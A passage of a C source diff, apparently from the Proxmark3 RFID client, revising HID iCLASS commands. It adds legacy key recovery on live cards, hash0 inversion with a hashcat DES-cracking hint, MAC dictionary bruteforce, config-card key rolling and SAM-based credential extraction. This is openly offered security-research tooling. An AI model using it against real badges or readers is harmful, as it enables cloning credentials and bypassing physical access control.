"Perform real writes on the card"), + arg_lit0(NULL, "allnight", "Loops the loop for 10 times, recommended loop value of 5000"), + arg_lit0(NULL, "fast", "Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card"), + arg_lit0(NULL, "sl", "Lower card comms delay times, further speeds increases, may cause more errors"), + arg_lit0(NULL, "est", "Estimates the key updates based on the card's CSN assuming standard key"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int macs_len = 0; - uint8_t macs[8] = {0}; + uint8_t macs[PICOPASS_BLOCK_SIZE] = {0}; CLIGetHexWithReturn(ctx, 1, macs, &macs_len); + uint32_t index = arg_get_int_def(ctx, 2, 0); + uint32_t loop = arg_get_int_def(ctx, 3, 100); + uint8_t no_first_auth[PICOPASS_BLOCK_SIZE] = {0}; + bool debug = arg_get_lit(ctx, 4); + bool test = true; + bool no_test = arg_get_lit(ctx, 5); + bool allnight = arg_get_lit(ctx, 6); + bool fast = arg_get_lit(ctx, 7); + bool short_delay = arg_get_lit(ctx, 8); + bool sim = arg_get_lit(ctx, 9); - if (macs_len > 0) { - if (macs_len != 8) { - PrintAndLogEx(ERR, "MAC is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } + if (sim) { + CmdHFiClassLegacyRecSim(); + return PM3_SUCCESS; } + if (no_test) { + test = false; + } + + if (loop > 10000) { + PrintAndLogEx(ERR, "Too many loops, arm prone to crashes. For safety specify a number lower than 10000"); + CLIParserFree(ctx); + return PM3_EINVARG; + } else if (debug || test) { + loop = 1; + fast = false; + } + + uint8_t csn[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t new_div_key[PICOPASS_BLOCK_SIZE] = {0}; + uint8_t CCNR[12] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + if (select_only(csn, CCNR, true, false) == false) { + DropField(); + return PM3_ESOFT; + } + diversifyKey(csn, iClass_Key_Table[1], new_div_key); + memcpy(no_first_auth, new_div_key, PICOPASS_BLOCK_SIZE); + CLIParserFree(ctx); - CmdHFiClassRecover(macs); - - PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found.")); + if (macs_len && macs_len != PICOPASS_BLOCK_SIZE) { + PrintAndLogEx(ERR, "MAC is incorrect length"); + return PM3_EINVARG; + } + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort"); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); + iclass_recover(macs, index, loop, no_first_auth, debug, test, fast, short_delay, allnight); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, _YELLOW_("If the process completed successfully")); + PrintAndLogEx(HINT, "Hint: run `" _YELLOW_("hf iclass legbrute -h") "` with the partial key found"); PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } +static int CmdHFiClassUnhash(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf iclass unhash", + "Reverses the hash0 function used generate iclass diversified keys after DES encryption,\n" + "Function returns the DES crypted CSN. Next step bruteforcing.", + "hf iclass unhash -k B4F12AADC5301A2D" + ); + + void *argtable[] = { + arg_param_begin, + arg_str1("k", "divkey", "", "Card diversified key"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int dk_len = 0; + uint8_t div_key[PICOPASS_BLOCK_SIZE] = {0}; + CLIGetHexWithReturn(ctx, 1, div_key, &dk_len); + + CLIParserFree(ctx); + + if (dk_len && dk_len != PICOPASS_BLOCK_SIZE) { + PrintAndLogEx(ERR, "Diversified key is incorrect length"); + return PM3_EINVARG; + } + + //check if divkey respects hash0 rules (legacy format) or if it could be AES Based + + int count_lsb0 = 0; + int count_lsb1 = 0; + + for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + if ((div_key[i] & 0x01) == 0) { + count_lsb0++; + } else { + count_lsb1++; + } + } + + if (count_lsb0 != 4 || count_lsb1 != 4) { + PrintAndLogEx(INFO, _RED_("Incorrect LSB Distribution, unable to unhash - the key might be AES based.")); + return PM3_SUCCESS; + } + + PrintAndLogEx(INFO, "Diversified key... %s", sprint_hex_inrow(div_key, sizeof(div_key))); + PrintAndLogEx(INFO, "-----------------------------------"); + invert_hash0(div_key); + PrintAndLogEx(INFO, "-----------------------------------"); + PrintAndLogEx(INFO, "You can now retrieve the master key by cracking DES with hashcat."); + PrintAndLogEx(INFO, "Create a text file with : on each line and use it with hashcat."); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(HINT, "Hint: `" _YELLOW_("hashcat.exe -a 3 -m 14000 preimage:csn -1 charsets/DES_full.hcchr --hex-charset ?1?1?1?1?1?1?1?1") "`"); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; +} + static int CmdHFiClassLookUp(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass lookup", @@ -4149,56 +5112,49 @@ static int CmdHFiClassLookUp(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - bool use_vb6kdf = arg_get_lit(ctx, 7); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; - bool use_elite = arg_get_lit(ctx, 5); - bool use_raw = arg_get_lit(ctx, 6); - if (use_vb6kdf) { - use_elite = true; - } else { - CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); - } - int csn_len = 0; uint8_t csn[8] = {0}; CLIGetHexWithReturn(ctx, 2, csn, &csn_len); - if (csn_len > 0) { - if (csn_len != 8) { - PrintAndLogEx(ERR, "CSN is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } - int epurse_len = 0; uint8_t epurse[8] = {0}; CLIGetHexWithReturn(ctx, 3, epurse, &epurse_len); - if (epurse_len > 0) { - if (epurse_len != 8) { - PrintAndLogEx(ERR, "ePurse is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } - } - int macs_len = 0; uint8_t macs[8] = {0}; CLIGetHexWithReturn(ctx, 4, macs, &macs_len); - if (macs_len > 0) { - if (macs_len != 8) { - PrintAndLogEx(ERR, "MAC is incorrect length"); - CLIParserFree(ctx); - return PM3_EINVARG; - } + bool use_elite = arg_get_lit(ctx, 5); + bool use_raw = arg_get_lit(ctx, 6); + bool use_vb6kdf = arg_get_lit(ctx, 7); + + if (use_vb6kdf == false) { + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); } CLIParserFree(ctx); + // santity checks + + if (csn_len > 0 && csn_len != 8) { + PrintAndLogEx(ERR, "CSN is incorrect length"); + return PM3_EINVARG; + } + + if (epurse_len > 0 && epurse_len != 8) { + PrintAndLogEx(ERR, "ePurse is incorrect length"); + return PM3_EINVARG; + } + + if (macs_len > 0 && macs_len != 8) { + PrintAndLogEx(ERR, "MAC is incorrect length"); + return PM3_EINVARG; + } + + uint8_t CCNR[12]; uint8_t MAC_TAG[4] = { 0, 0, 0, 0 }; @@ -4207,11 +5163,11 @@ static int CmdHFiClassLookUp(const char *Cmd) { memcpy(CCNR + 8, macs, 4); memcpy(MAC_TAG, macs + 4, 4); - PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, sizeof(csn))); - PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, sizeof(epurse))); - PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, sizeof(macs))); - PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); - PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); + PrintAndLogEx(SUCCESS, "CSN....... " _GREEN_("%s"), sprint_hex(csn, sizeof(csn))); + PrintAndLogEx(SUCCESS, "Epurse.... %s", sprint_hex(epurse, sizeof(epurse))); + PrintAndLogEx(SUCCESS, "MACS...... %s", sprint_hex(macs, sizeof(macs))); + PrintAndLogEx(SUCCESS, "CCNR...... " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); + PrintAndLogEx(SUCCESS, "TAG MAC... %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); // Run time uint64_t t1 = msclock(); @@ -4219,7 +5175,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { uint8_t *keyBlock = NULL; uint32_t keycount = 0; - if (!use_vb6kdf) { + if (use_vb6kdf == false) { // Load keys int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); if (res != PM3_SUCCESS || keycount == 0) { @@ -4231,6 +5187,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { keycount = 5000; keyBlock = calloc(1, keycount * 8); if (keyBlock == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -4242,7 +5199,8 @@ static int CmdHFiClassLookUp(const char *Cmd) { // Iclass_prekey_t iclass_prekey_t *prekey = calloc(keycount, sizeof(iclass_prekey_t)); - if (!prekey) { + if (prekey == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(keyBlock); return PM3_EMALLOC; } @@ -4263,7 +5221,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { // Sort mac list qsort(prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); - PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); + PrintAndLogEx(SUCCESS, "Searching for %s key...", _YELLOW_("DEBIT")); iclass_prekey_t *item; iclass_prekey_t lookup; memcpy(lookup.mac, MAC_TAG, 4); @@ -4272,7 +5230,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { item = (iclass_prekey_t *) bsearch(&lookup, prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); if (item != NULL) { - PrintAndLogEx(SUCCESS, "Found valid key " _GREEN_("%s"), sprint_hex(item->key, 8)); + PrintAndLogEx(SUCCESS, "Found valid key " _GREEN_("%s"), sprint_hex_inrow(item->key, 8)); add_key(item->key); } @@ -4290,7 +5248,7 @@ typedef struct { uint8_t use_raw; uint8_t use_elite; uint32_t keycnt; - uint8_t csn[8]; + uint8_t csn[PICOPASS_BLOCK_SIZE]; uint8_t cc_nr[12]; uint8_t *keys; union { @@ -4313,23 +5271,24 @@ static void *bf_generate_mac(void *thread_arg) { uint8_t *keys = targ->keys; iclass_premac_t *list = targ->list.premac; - uint8_t csn[8]; + uint8_t csn[PICOPASS_BLOCK_SIZE]; uint8_t cc_nr[12]; memcpy(csn, targ->csn, sizeof(csn)); memcpy(cc_nr, targ->cc_nr, sizeof(cc_nr)); - uint8_t key[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; - uint8_t div_key[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t div_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; for (uint32_t i = idx; i < keycnt; i += iclass_tc) { - memcpy(key, keys + 8 * i, 8); + memcpy(key, keys + 8 * i, PICOPASS_BLOCK_SIZE); pthread_mutex_lock(&generator_mutex); - if (use_raw) - memcpy(div_key, key, 8); - else + if (use_raw) { + memcpy(div_key, key, PICOPASS_BLOCK_SIZE); + } else { HFiClassCalcDivKey(csn, key, div_key, use_elite); + } doMAC(cc_nr, div_key, list[i].mac); pthread_mutex_unlock(&generator_mutex); @@ -4367,8 +5326,9 @@ void GenerateMacFrom(uint8_t *CSN, uint8_t *CCNR, bool use_raw, bool use_elite, } } - for (int i = 0; i < iclass_tc; i++) + for (int i = 0; i < iclass_tc; i++) { pthread_join(threads[i], NULL); + } } static void *bf_generate_mackey(void *thread_arg) { @@ -4382,22 +5342,23 @@ static void *bf_generate_mackey(void *thread_arg) { uint8_t *keys = targ->keys; iclass_prekey_t *list = targ->list.prekey; - uint8_t csn[8]; + uint8_t csn[PICOPASS_BLOCK_SIZE]; uint8_t cc_nr[12]; memcpy(csn, targ->csn, sizeof(csn)); memcpy(cc_nr, targ->cc_nr, sizeof(cc_nr)); - uint8_t div_key[8] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + uint8_t div_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; for (uint32_t i = idx; i < keycnt; i += iclass_tc) { - memcpy(list[i].key, keys + 8 * i, 8); + memcpy(list[i].key, keys + 8 * i, PICOPASS_BLOCK_SIZE); pthread_mutex_lock(&generator_mutex); - if (use_raw) - memcpy(div_key, list[i].key, 8); - else + if (use_raw) { + memcpy(div_key, list[i].key, PICOPASS_BLOCK_SIZE); + } else { HFiClassCalcDivKey(csn, list[i].key, div_key, use_elite); + } doMAC(cc_nr, div_key, list[i].mac); pthread_mutex_unlock(&generator_mutex); @@ -4433,17 +5394,19 @@ void GenerateMacKeyFrom(uint8_t *CSN, uint8_t *CCNR, bool use_raw, bool use_elit } } - for (int i = 0; i < iclass_tc; i++) + for (int i = 0; i < iclass_tc; i++) { pthread_join(threads[i], NULL); - + } } // print diversified keys void PrintPreCalcMac(uint8_t *keys, uint32_t keycnt, iclass_premac_t *pre_list) { iclass_prekey_t *b = calloc(keycnt, sizeof(iclass_prekey_t)); - if (!b) + if (b == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return; + } for (uint32_t i = 0; i < keycnt; i++) { memcpy(b[i].key, keys + 8 * i, 8); @@ -4516,31 +5479,27 @@ static void shave(uint8_t *data, uint8_t len) { } static void generate_rev(uint8_t *data, uint8_t len) { uint8_t *key = calloc(len, sizeof(uint8_t)); - PrintAndLogEx(SUCCESS, "input permuted key | %s \n", sprint_hex(data, len)); + PrintAndLogEx(SUCCESS, "permuted key..... %s", sprint_hex_inrow(data, len)); permute_rev(data, len, key); - PrintAndLogEx(SUCCESS, " unpermuted key | %s \n", sprint_hex(key, len)); + PrintAndLogEx(SUCCESS, "unpermuted key... %s", sprint_hex_inrow(key, len)); shave(key, len); - PrintAndLogEx(SUCCESS, " key | %s \n", sprint_hex(key, len)); + PrintAndLogEx(SUCCESS, "key.............. %s", sprint_hex_inrow(key, len)); free(key); } static void generate(uint8_t *data, uint8_t len) { uint8_t *key = calloc(len, sizeof(uint8_t)); uint8_t *pkey = calloc(len, sizeof(uint8_t)); - PrintAndLogEx(SUCCESS, " input key | %s \n", sprint_hex(data, len)); + PrintAndLogEx(SUCCESS, "input key...... %s", sprint_hex_inrow(data, len)); permute(data, len, pkey); - PrintAndLogEx(SUCCESS, "permuted key | %s \n", sprint_hex(pkey, len)); + PrintAndLogEx(SUCCESS, "permuted key... %s", sprint_hex_inrow(pkey, len)); simple_crc(pkey, len, key); - PrintAndLogEx(SUCCESS, " CRC'ed key | %s \n", sprint_hex(key, len)); + PrintAndLogEx(SUCCESS, "CRC'ed key..... %s", sprint_hex_inrow(key, len)); free(key); free(pkey); } static int CmdHFiClassPermuteKey(const char *Cmd) { - uint8_t key[8] = {0}; - uint8_t data[16] = {0}; - int len = 0; - CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass permutekey", "Permute function from 'heart of darkness' paper.", @@ -4554,22 +5513,29 @@ static int CmdHFiClassPermuteKey(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); + bool isReverse = arg_get_lit(ctx, 1); - CLIGetHexWithReturn(ctx, 2, data, &len); + + int dlen = 0; + uint8_t data[16] = {0}; + CLIGetHexWithReturn(ctx, 2, data, &dlen); CLIParserFree(ctx); - memcpy(key, data, 8); + uint8_t key[PICOPASS_BLOCK_SIZE] = {0}; + memcpy(key, data, PICOPASS_BLOCK_SIZE); if (isReverse) { - generate_rev(data, len); - uint8_t key_std_format[8] = {0}; + generate_rev(data, dlen); + uint8_t key_std_format[PICOPASS_BLOCK_SIZE] = {0}; permutekey_rev(key, key_std_format); - PrintAndLogEx(SUCCESS, "Standard NIST format key " _YELLOW_("%s") " \n", sprint_hex(key_std_format, 8)); + PrintAndLogEx(SUCCESS, "Standard NIST format key..... " _YELLOW_("%s"), sprint_hex_inrow(key_std_format, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(NORMAL, ""); } else { - generate(data, len); - uint8_t key_iclass_format[8] = {0}; + generate(data, dlen); + uint8_t key_iclass_format[PICOPASS_BLOCK_SIZE] = {0}; permutekey(key, key_iclass_format); - PrintAndLogEx(SUCCESS, "HID permuted iCLASS format: %s \n", sprint_hex(key_iclass_format, 8)); + PrintAndLogEx(SUCCESS, "HID permuted iCLASS format... " _YELLOW_("%s"), sprint_hex_inrow(key_iclass_format, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(NORMAL, ""); } return PM3_SUCCESS; } @@ -4579,12 +5545,12 @@ static int CmdHFiClassEncode(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass encode", "Encode binary wiegand to block 7,8,9\n" - "Use either --bin or --wiegand/--fc/--cn", + "Use either --bin or --wiegand/--fc/--cn\n" + "When using emulator you have to first load a credential into emulator memory", "hf iclass encode --bin 10001111100000001010100011 --ki 0 -> FC 31 CN 337 (H10301)\n" "hf iclass encode -w H10301 --fc 31 --cn 337 --ki 0 -> FC 31 CN 337 (H10301)\n" "hf iclass encode --bin 10001111100000001010100011 --ki 0 --elite -> FC 31 CN 337 (H10301), writing w elite key\n" - "hf iclass encode -w H10301 --fc 31 --cn 337 --emu -> Writes the ecoded data to emulator memory\n" - "When using emulator you have to first load a credential into emulator memory" + "hf iclass encode -w H10301 --fc 31 --cn 337 --emu -> Writes the ecoded data to emulator memory" ); void *argtable[] = { @@ -4606,9 +5572,9 @@ static int CmdHFiClassEncode(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - // TODO: very confusing sizes... buf of 70, parser len to 63 instead of 70-1, tests for len > 127, loop with 64... - uint8_t bin[70] = {0}; - int bin_len = 63; + // can only do one block of 8 bytes currently. There are room for two blocks in the specs. + uint8_t bin[65] = {0}; + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 1, bin, &bin_len); int key_nr = arg_get_int_def(ctx, 2, -1); @@ -4618,7 +5584,7 @@ static int CmdHFiClassEncode(const char *Cmd) { uint8_t key[8] = {0}; // If we use emulator memory skip key requirement - if (!use_emulator_memory) { + if (use_emulator_memory == false) { if (key_nr < 0) { PrintAndLogEx(ERR, "Missing required arg for --ki or --emu"); return PM3_EINVARG; @@ -4648,8 +5614,10 @@ static int CmdHFiClassEncode(const char *Cmd) { bool use_sc = false; CLIGetHexWithReturn(ctx, 6, enc_key, &enc_key_len); + // FC / CN / Issue Level wiegand_card_t card; memset(&card, 0, sizeof(wiegand_card_t)); + card.FacilityCode = arg_get_u32_def(ctx, 7, 0); card.CardNumber = arg_get_u32_def(ctx, 8, 0); card.IssueLevel = arg_get_u32_def(ctx, 9, 0); @@ -4677,8 +5645,8 @@ static int CmdHFiClassEncode(const char *Cmd) { have_enc_key = true; } - if (bin_len > 127) { - PrintAndLogEx(ERR, "Binary wiegand string must be less than 128 bits"); + if (bin_len > 64) { + PrintAndLogEx(ERR, "Binary wiegand string must be less than 64 bits"); return PM3_EINVARG; } @@ -4802,7 +5770,7 @@ static int CmdHFiClassEncode(const char *Cmd) { uint16_t byte_sent = 0; iclass_upload_emul(credential, sizeof(credential), 6 * PICOPASS_BLOCK_SIZE, &byte_sent); PrintAndLogEx(SUCCESS, "uploaded " _YELLOW_("%d") " bytes to emulator memory", byte_sent); - PrintAndLogEx(HINT, "You are now ready to simulate. See " _YELLOW_("`hf iclass sim -h`")); + PrintAndLogEx(HINT, "Hint: You are now ready to simulate. See `" _YELLOW_("hf iclass sim -h") "`"); } else { for (uint8_t i = 0; i < 4; i++) { isok = iclass_write_block(6 + i, credential + (i * 8), NULL, key, use_credit_key, elite, rawkey, false, false, auth, shallow_mod); @@ -4849,46 +5817,68 @@ static int CmdHFiClassConfigCard(const char *Cmd) { "Manage reader configuration card via Cardhelper or internal database,\n" "The generated config card will be uploaded to device emulator memory.\n" "You can start simulating `hf iclass sim -t 3` or use the emul commands", - "hf iclass configcard -l --> download config card settings from cardhelper\n" "hf iclass configcard -p --> print all config cards in the database\n" - "hf iclass configcard --ci 1 --> view config card setting in slot 1\n" - "hf iclass configcard -g --ci 0 --> generate config file from slot 0" + "hf iclass configcard --g 0 --> generate config file with option 0" ); void *argtable[] = { arg_param_begin, - arg_int0(NULL, "ci", "", "use config slot at index"), - arg_int0(NULL, "ki", "", "Key index to select key from memory 'hf iclass managekeys'"), - arg_lit0("g", NULL, "generate card dump file"), - arg_lit0("l", NULL, "load available cards"), + arg_int0(NULL, "g", "", "use config option"), + arg_int0(NULL, "ki", "", "Card Key - index to select key from memory 'hf iclass managekeys'"), + arg_int0(NULL, "eki", "", "Elite Key - index to select key from memory 'hf iclass managekeys'"), + arg_int0(NULL, "mrki", "", "Standard Master Key - index to select key from memory 'hf iclass managekeys'"), + arg_lit0(NULL, "elite", "Use elite key for the the Card Key ki"), arg_lit0("p", NULL, "print available cards"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); int ccidx = arg_get_int_def(ctx, 1, -1); - int kidx = arg_get_int_def(ctx, 2, -1); - bool do_generate = arg_get_lit(ctx, 3); - bool do_load = arg_get_lit(ctx, 4); - bool do_print = arg_get_lit(ctx, 5); + int card_kidx = arg_get_int_def(ctx, 2, -1); + int kidx = arg_get_int_def(ctx, 3, -1); + int midx = arg_get_int_def(ctx, 4, -1); + bool elite = arg_get_lit(ctx, 5); + bool do_print = arg_get_lit(ctx, 6); CLIParserFree(ctx); - bool got_kr = false; - uint8_t key[8] = {0}; - if (kidx >= 0) { - if (kidx < ICLASS_KEYS_MAX) { - got_kr = true; - memcpy(key, iClass_Key_Table[kidx], 8); - PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), kidx, sprint_hex(iClass_Key_Table[kidx], 8)); + bool got_eki = false; + uint8_t card_key[8] = {0}; + if (card_kidx >= 0) { + if (card_kidx < ICLASS_KEYS_MAX) { + got_eki = true; + memcpy(card_key, iClass_Key_Table[card_kidx], 8); + PrintAndLogEx(SUCCESS, "Using card key[%d] " _GREEN_("%s"), card_kidx, sprint_hex(iClass_Key_Table[card_kidx], 8)); } else { PrintAndLogEx(ERR, "--ki number is invalid"); return PM3_EINVARG; } } - if (do_load) { - if (load_config_cards() != PM3_SUCCESS) { - PrintAndLogEx(INFO, "failed to load, check your cardhelper"); + bool got_kr = false; + uint8_t keyroll_key[8] = {0}; + if (kidx >= 0) { + if (kidx < ICLASS_KEYS_MAX) { + got_kr = true; + memcpy(keyroll_key, iClass_Key_Table[kidx], 8); + PrintAndLogEx(SUCCESS, "Using keyroll key[%d] " _GREEN_("%s"), kidx, sprint_hex(iClass_Key_Table[kidx], 8)); + } else { + PrintAndLogEx(ERR, "--eki number is invalid"); + return PM3_EINVARG; + } + } + + bool got_mk = false; + uint8_t master_key[8] = {0}; + if (midx >= 0) { + if (midx < ICLASS_KEYS_MAX) { + got_mk = true; + uint8_t key_iclass_format[8] = {0}; + permutekey(iClass_Key_Table[midx], key_iclass_format); + memcpy(master_key, key_iclass_format, 8); + PrintAndLogEx(SUCCESS, "Using key[%d] as new Reader's Master Key" _GREEN_("%s"), midx, sprint_hex(iClass_Key_Table[midx], 8)); + } else { + PrintAndLogEx(ERR, "--mrki number is invalid"); + return PM3_EINVARG; } } @@ -4896,55 +5886,129 @@ static int CmdHFiClassConfigCard(const char *Cmd) { print_config_cards(); } - if (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_types)) { + if (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_options)) { const iclass_config_card_item_t *item = get_config_card_item(ccidx); - print_config_card(item); - } else { - PrintAndLogEx(ERR, "Please specify a valid configuration number!"); - } - - if (do_generate && (ccidx > -1 && ccidx < ARRAYLEN(iclass_config_types))) { - const iclass_config_card_item_t *item = get_config_card_item(ccidx); - if (strstr(item->desc, "Keyroll") != NULL) { - if (got_kr == false) { - PrintAndLogEx(ERR, "please specify KEYROLL key!"); - return PM3_EINVARG; - } + if (strstr(item->desc, "ELITE") != NULL && got_kr == false) { + PrintAndLogEx(ERR, "please specify ELITE Key (--eki) !"); + return PM3_EINVARG; } - generate_config_card(item, key, got_kr); + if (strstr(item->desc, "Custom") != NULL && got_mk == false) { + PrintAndLogEx(ERR, "please specify New Standard Master Key (--mrki) !"); + return PM3_EINVARG; + } + if (strstr(item->desc, "Restore") != NULL && card_kidx == -1) { + PrintAndLogEx(ERR, "please specify the Current Reader's Key (--ki) !"); + return PM3_EINVARG; + } + generate_config_card(item, keyroll_key, got_kr, card_key, got_eki, elite, got_mk, master_key); } return PM3_SUCCESS; } +static bool match_with_wildcard(const uint8_t *data, const uint8_t *pattern, const bool *mask, size_t length) { + for (size_t i = 0; i < length; ++i) { + if (mask[i] && data[i] != pattern[i]) { + return false; + } + } + return true; +} + static int CmdHFiClassSAM(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass sam", "Extract PACS via a HID SAM\n", "hf iclass sam\n" + "hf iclass sam -p -d a005a103800104 -> get PACS data, prevent epurse update\n" + "hf iclass sam --break -> get Nr-MAC for extracting encrypted SIO\n" ); void *argtable[] = { arg_param_begin, - arg_lit0("v", "verbose", "verbose output"), + arg_lit0("v", "verbose", "verbose output"), + arg_lit0("k", "keep", "keep the field active after command executed"), + arg_lit0("n", "nodetect", "skip selecting the card and sending card details to SAM"), + arg_lit0("t", "tlv", "decode TLV"), + arg_lit0(NULL, "break", "stop tag interaction on nr-mac"), + arg_lit0("p", "prevent", "fake epurse update"), + arg_lit0(NULL, "shallow", "shallow mod"), + arg_strx0("d", "data", "", "DER encoded command to send to SAM"), + arg_lit0("s", "snmp", "data is in snmp format without headers"), + arg_lit0(NULL, "info", "get SAM infos (version, serial number)"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + bool verbose = arg_get_lit(ctx, 1); + bool disconnect_after = !arg_get_lit(ctx, 2); + bool skip_detect = arg_get_lit(ctx, 3); + bool decodeTLV = arg_get_lit(ctx, 4); + bool break_nrmac = arg_get_lit(ctx, 5); + bool prevent = arg_get_lit(ctx, 6); + bool shallow_mod = arg_get_lit(ctx, 7); + bool snmp_data = arg_get_lit(ctx, 9); + bool info = arg_get_lit(ctx, 10); + + uint8_t flags = 0; + if (disconnect_after) { + flags |= BITMASK(0); + } + + if (skip_detect) { + flags |= BITMASK(1); + } + + if (break_nrmac) { + flags |= BITMASK(2); + } + + if (prevent) { + flags |= BITMASK(3); + } + + if (shallow_mod) { + flags |= BITMASK(4); + } + + if (info) { + flags |= BITMASK(5); + } + + uint8_t data[PM3_CMD_DATA_SIZE] = {0}; + data[0] = flags; + + int cmdlen = 0; + if (CLIParamHexToBuf(arg_get_str(ctx, 8), data + 1, PM3_CMD_DATA_SIZE - 1, &cmdlen) != PM3_SUCCESS) { + CLIParserFree(ctx); + return PM3_ESOFT; + } + CLIParserFree(ctx); if (IsHIDSamPresent(verbose) == false) { return PM3_ESOFT; } - clearCommandBuffer(); - SendCommandNG(CMD_HF_SAM_PICOPASS, NULL, 0); - PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_HF_SAM_PICOPASS, &resp, 4000) == false) { - PrintAndLogEx(WARNING, "SAM timeout"); - return PM3_ETIMEOUT; + if (snmp_data) { + uint8_t header[4] = {0xa0, cmdlen + 2, 0x94, cmdlen }; + memmove(data + 4, data, cmdlen + 1); + data[0] = flags; + memcpy(data + 1, header, 4); + cmdlen += 4; } + clearCommandBuffer(); + SendCommandNG(CMD_HF_SAM_PICOPASS, data, cmdlen + 1); + PacketResponseNG resp; + WaitForResponse(CMD_HF_SAM_PICOPASS, &resp); + + bool is_snmp = false; + uint8_t snmp_pattern[] = {0xBD, 0x81, 0xFF, 0x8A, 0x81, 0xFF}; // SNMP Response header pattern, 0xFF is a wildcard value for message length + bool snmp_mask[] = {true, true, false, true, true, false}; // false means wildcard value in that position + uint8_t ok_pattern[] = {0xBD, 0xFF, 0x8A}; // Ok response header pattern, 0xFF is a wildcard value for message length + bool ok_mask[] = {true, false, true}; // false means wildcard value in that position + switch (resp.status) { case PM3_SUCCESS: break; @@ -4956,82 +6020,73 @@ static int CmdHFiClassSAM(const char *Cmd) { return resp.status; } - // CSN, config, epurse, NR/MAC, AIA - // PACS - // first byte skip - // second byte length - // third padded - // fourth .. uint8_t *d = resp.data.asBytes; - uint8_t n = d[1] - 1; // skip length byte - uint8_t pad = d[2]; - char *binstr = (char *)calloc((n * 8) + 1, sizeof(uint8_t)); - if (binstr == NULL) { - return PM3_EMALLOC; + // check for standard SamCommandGetContentElement response + // bd 09 + // 8a 07 + // 03 05 <- tag + length + // 06 85 80 6d c0 <- decoded PACS data + if (d[0] == 0xbd && d[2] == 0x8a && d[4] == 0x03) { + uint8_t pacs_length = d[5]; + uint8_t *pacs_data = d + 6; + int res = HIDDumpPACSBits(pacs_data, pacs_length, verbose); + if (res != PM3_SUCCESS) { + return res; + } + // check for standard samCommandGetContentElement2: + // bd 1e + // b3 1c + // a0 1a + // 80 05 + // 06 85 80 6d c0 + // 81 0e + // 2b 06 01 04 01 81 e4 38 01 01 02 04 3c ff + // 82 01 + // 07 + } else if (d[0] == 0xbd && d[2] == 0xb3 && d[4] == 0xa0) { + const uint8_t *pacs = d + 